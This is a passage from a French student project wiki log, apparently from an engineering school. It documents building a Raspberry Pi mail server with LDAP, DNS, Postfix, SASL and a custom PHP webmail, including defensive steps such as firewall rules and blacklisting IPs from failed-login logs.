La commande &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -b &amp;quot;dc=mail,dc=domain,dc=tld&amp;quot; &amp;quot;(&amp;amp;(objectClass=CourierMailAccount))&amp;quot;&lt;br /&gt;
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5 (19/10/2015)===&lt;br /&gt;
==== DNS et SSL ====&lt;br /&gt;
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]&lt;br /&gt;
&lt;br /&gt;
nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.&lt;br /&gt;
&lt;br /&gt;
De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.&lt;br /&gt;
&lt;br /&gt;
La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :&lt;br /&gt;
 @       IN      MX      10 mail.intimail.pw.&lt;br /&gt;
 mail    IN      A       193.48.57.171&lt;br /&gt;
&lt;br /&gt;
De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :&lt;br /&gt;
 171     IN      PTR     mail.intimail.pw.&lt;br /&gt;
&lt;br /&gt;
A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.&lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]&lt;br /&gt;
&lt;br /&gt;
Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean : &lt;br /&gt;
 dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw&lt;br /&gt;
 uid: jvaljean&lt;br /&gt;
 mail: jvaljean@intimail.pw&lt;br /&gt;
 sn: Valjean&lt;br /&gt;
 givenName: Jean&lt;br /&gt;
 displayName: Jean Valjean&lt;br /&gt;
 mailbox: intimail.pw/jvaljean/&lt;br /&gt;
 homeDirectory: /home/vmail/&lt;br /&gt;
 objectClass: top&lt;br /&gt;
 objectClass: inetOrgPerson&lt;br /&gt;
 objectClass: CourierMailAccount&lt;br /&gt;
 userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg&lt;br /&gt;
&lt;br /&gt;
Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire. &lt;br /&gt;
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.&lt;br /&gt;
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].&lt;br /&gt;
&lt;br /&gt;
Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :&lt;br /&gt;
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)&lt;br /&gt;
* 1,90s sur une  connexion 4G moyenne (15MB/s)&lt;br /&gt;
* 2,80s sur une connexion DSL moyenne (2MB/s)&lt;br /&gt;
* 1,90s sur une connexion Wifi (30MB/s)&lt;br /&gt;
* 1,70s sur une connexion THD (100MB/s)&lt;br /&gt;
Résultats qui semble apporter bon compris poids/qualité de l'interface.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache&lt;br /&gt;
 Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(&lt;br /&gt;
&lt;br /&gt;
===Semaine 6 (26/10/2015)===&lt;br /&gt;
==== Firewall ====&lt;br /&gt;
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).&lt;br /&gt;
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :&lt;br /&gt;
 cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed                           # Pour lister les messages de connexion échouées&lt;br /&gt;
 sed -ne 's/.*\[\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\)\].*/\1/p'      # Pour n'afficher que les ip&lt;br /&gt;
 *file* | sort | uniq                                                                     # Pour classer et éliminer les doublons&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.&lt;br /&gt;
&lt;br /&gt;
==== Postfix ====&lt;br /&gt;
Nous avons installé l'agent de transfert de mail Postfix (&amp;lt;code&amp;gt;apt-get install postfix postfix-ldap&amp;lt;/code&amp;gt;) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :&lt;br /&gt;
 telnet ex 25&lt;br /&gt;
 Trying xxx.xxx.xxx.xxx...&lt;br /&gt;
 Connected to intimail.pw.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 220 mail.intimail.pw&lt;br /&gt;
 ehlo intimail.pw&lt;br /&gt;
 250-mail.intimail.pw&lt;br /&gt;
 250-PIPELINING&lt;br /&gt;
 250-SIZE 10240000&lt;br /&gt;
 250-VRFY&lt;br /&gt;
 250-ETRN&lt;br /&gt;
 250-ENHANCEDSTATUSCODES&lt;br /&gt;
 250-8BITMIME&lt;br /&gt;
 250 DSN&lt;br /&gt;
 MAIL FROM:toto(arobase)titi.com&lt;br /&gt;
 250 2.1.0 Ok&lt;br /&gt;
 RCPT TO:jvaljean(arobase)intimail.pw&lt;br /&gt;
 250 2.1.5 Ok&lt;br /&gt;
 DATA&lt;br /&gt;
 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br /&gt;
 Subject: Premier Test&lt;br /&gt;
 Here is my test&lt;br /&gt;
 .&lt;br /&gt;
 250 2.0.0 Ok: queued as 0EDFC21428&lt;br /&gt;
 quit&lt;br /&gt;
 221 2.0.0 Bye&lt;br /&gt;
 Connection closed by foreign host.&lt;br /&gt;
&lt;br /&gt;
Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :&lt;br /&gt;
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.&lt;br /&gt;
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions&lt;br /&gt;
&lt;br /&gt;
==== Cyrus SASL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail. &lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une &amp;quot;vue globale&amp;quot;, réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.&lt;br /&gt;
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet &amp;quot;Manage&amp;quot; d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.&lt;br /&gt;
&lt;br /&gt;
Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.&lt;br /&gt;
&lt;br /&gt;
Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).&lt;br /&gt;
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].&lt;br /&gt;
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.&lt;br /&gt;
Notre architecture s'oriente donc sur les schémas suivants :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]&lt;br /&gt;
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]&lt;br /&gt;
&lt;br /&gt;
==== Scripting ====&lt;br /&gt;
&lt;br /&gt;
Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer &amp;lt;code&amp;gt;libswitch-perl&amp;lt;/code&amp;gt; pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]&lt;br /&gt;
&lt;br /&gt;
Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier. &lt;br /&gt;
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur. &lt;br /&gt;
* Un dossier mail, dans lequel sont stockés les mails envoyés&lt;br /&gt;
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8 (09/11/2015) - Postfix et filtrage===&lt;br /&gt;
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt;. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 # service type  private unpriv  chroot  wakeup  maxproc command + args&lt;br /&gt;
 #               (yes)   (yes)   (yes)   (never) (100)&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 smtp       inet  n       -       -       -       -       smtpd&lt;br /&gt;
   -o content_filter=filter&lt;br /&gt;
 filter     unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/path/to/script $queue_id $size $sender $recipient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :&lt;br /&gt;
 [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;from&amp;quot;: &amp;quot;michel.drucker@gmail.com&amp;quot;,&lt;br /&gt;
    &amp;quot;subject&amp;quot;: &amp;quot;Vivement dimanche&amp;quot;,&lt;br /&gt;
    &amp;quot;timestamp&amp;quot;: &amp;quot;2015-11-8 19:59:53&amp;quot;,&lt;br /&gt;
    &amp;quot;unixtimestamp&amp;quot;: &amp;quot;1447012793&amp;quot;,&lt;br /&gt;
    &amp;quot;queueid&amp;quot;: &amp;quot;48FE03FA87&amp;quot;,&lt;br /&gt;
    &amp;quot;filepath&amp;quot;: &amp;quot;???&amp;quot;,&lt;br /&gt;
    &amp;quot;size&amp;quot;: &amp;quot;1676&amp;quot;,&lt;br /&gt;
    &amp;quot;status&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;pj&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;to&amp;quot;: &amp;quot;jbond@intimail.pw&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
 ]&lt;br /&gt;
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).&lt;br /&gt;
&lt;br /&gt;
Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis &amp;lt;code&amp;gt;user=vmail&amp;lt;/code&amp;gt;. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.&lt;br /&gt;
&lt;br /&gt;
Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 (16/11/2015)===&lt;br /&gt;
===Semaine 10 (23/11/2015)===&lt;br /&gt;
===Semaine 11 (30/11/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.&lt;br /&gt;
&lt;br /&gt;
D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises &amp;lt;a href&amp;gt; pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.&lt;br /&gt;
&lt;br /&gt;
La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :&lt;br /&gt;
 $('#table').on('click-row.bs.table', function (e, row, $element) {&lt;br /&gt;
     console.log(row, $element);&lt;br /&gt;
     alert(&amp;quot;L'utilisateur d'intimail a cliqué sur &amp;quot;+row);&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
&lt;br /&gt;
* Écriture du rapport intermédiaire&lt;br /&gt;
* Réalisation du support de soutenance&lt;br /&gt;
&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
&lt;br /&gt;
* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point&lt;br /&gt;
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation&lt;br /&gt;
&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Poursuite de la longue réécriture du code shell en perl.&lt;br /&gt;
&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut &amp;quot;pj&amp;quot; quand une pièce jointe est présente.&lt;br /&gt;
&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web :&lt;br /&gt;
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.&lt;br /&gt;
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)&lt;br /&gt;
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)&lt;br /&gt;
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans &amp;quot;Envoyés&amp;quot;, les mails reçus dans &amp;quot;Boite de réception&amp;quot;, manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas&lt;br /&gt;
&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : &lt;br /&gt;
* Identification d'un administrateur ou simple utilisateur&lt;br /&gt;
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...&lt;br /&gt;
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte&lt;br /&gt;
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs. &lt;br /&gt;
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.&lt;br /&gt;
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers &amp;quot;.inc&amp;quot; : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.&lt;br /&gt;
&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Projet : [http:// Soon™]&lt;br /&gt;
&lt;br /&gt;
Vidéo de Projet : [http:// Soon™] (RDV le 22/02 10h avec Laurent Engels)&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Projets_IMA5_2015/2016&amp;diff=26839</id>
		<title>Projets IMA5 2015/2016</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Projets_IMA5_2015/2016&amp;diff=26839"/>
				<updated>2016-02-10T09:06:25Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Répartition des binômes */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Merci de référencer vos pages de projets ici. Merci aussi d'uniformiser vos formats que ce soit en regardant la présentation des projets déjà créés ou en allant modifier le format des précédents si votre façon de faire vous semble la meilleure. Dans tous les cas un minimum de communication entre les binômes est conseillée.&lt;br /&gt;
&lt;br /&gt;
